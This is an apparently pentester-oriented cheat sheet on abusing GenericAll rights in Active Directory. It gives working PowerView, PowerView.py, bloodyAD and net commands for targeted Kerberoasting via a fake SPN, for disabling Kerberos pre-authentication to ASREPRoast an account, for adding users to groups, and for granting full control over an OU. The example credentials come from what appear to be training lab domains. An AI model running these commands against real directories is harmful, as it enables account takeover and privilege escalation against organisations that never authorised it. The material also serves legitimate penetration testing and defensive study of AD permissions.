GenericAll

Information

Full control over the target account.

Over a User	Over a Group	Over an OU
Change the account's password	Add user to the group	FullControl on its members
Targeted Kerberoasting
Targeted ASREPRoasting

Exploitation

Over a User

Figure 1: The Information Technology group has GenericAll rights over the user adunn.

Targeted Kerberoasting

When a group/user has GenericAll rights over another account, a fake SPN can be assigned to the target account.

# credentialed object for the currently owned user
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
 
# create a fake SPN for the target user
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

Once the SPN is assigned to the target account, we should be able to Kerberoast it.

Targeted ASREPRoasting

We can disable pre-authentication for the target account and then ASREPRoast it.

Set-DomainObject -Identity <USER> -XOR @{UserAccountControl=4194304}

PS

Set-DomainObject -Identity <USER> -XOR @{UserAccountControl=4194304}

PowerView

# set the preauth option to true
Get-ADUser <USER> | Set-ADAccountControl -doesnotrequirepreauth $true
# check that it worked
Get-ADUSer -Filter 'DoesNotRequirePreAuth -eq $true'

An example of the above method can be found here.

Change user's password

Check here.

Over a Group

Add User to the Group

This can be done using native commands, the AD PS module, or PowerView.

PowerView.py

# connect to the DC
powerview rebound.htb/oorend:'1GR8t@$$4u'@rebound.htb -k
# add user to the group
PV > Add-DomainGroupMember -Identity servicemgmt -Members oorend
# confirm group membership
PV > Get-DomainGroupMember -Identity servicemgmt

PowerView

# Adding user to the group
Add-ADGroupMember -Identity '<GROUP>' -Members <USER>
# Adding user to the group (using another user's creds)
Add-DomainGroupMember -Identity 'Core Staff' -Members 'jdgodd' -Credential $Cred -Verbose 
# Confirming group membership
Add-DomainGroupMember -Identity '<GROUP>' -Members '<USER>'

net

# add user to the group
net group <GROUP> <USER> /add /domain
# confirm group membership
net group <GROUP> /domain
# Clean up by removing the account from the group
net group <GROUP> <USER> /del /domain

Over an OU

If a group has GenericAll rights over an OU, then the group members can be assigned GenericAll rights over the OU as well, which results in them having FullControl over the OU members. This gives the ability to change any OU user's password.

bloodyAD

# give oorend GenericAll rights over the Service Users OU
bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
# confirm FullControl over OU members (winrm_svc)
powerview rebound.htb/oorend:'1GR8t@$$4u'@rebound.htb -k
PV > Get-DomainObjectAcl -Identity winrm_svc -Where "SecurityIdentifier contains oorend"

Resources

BH Edge

Edges — BloodHound 3.0.3 documentation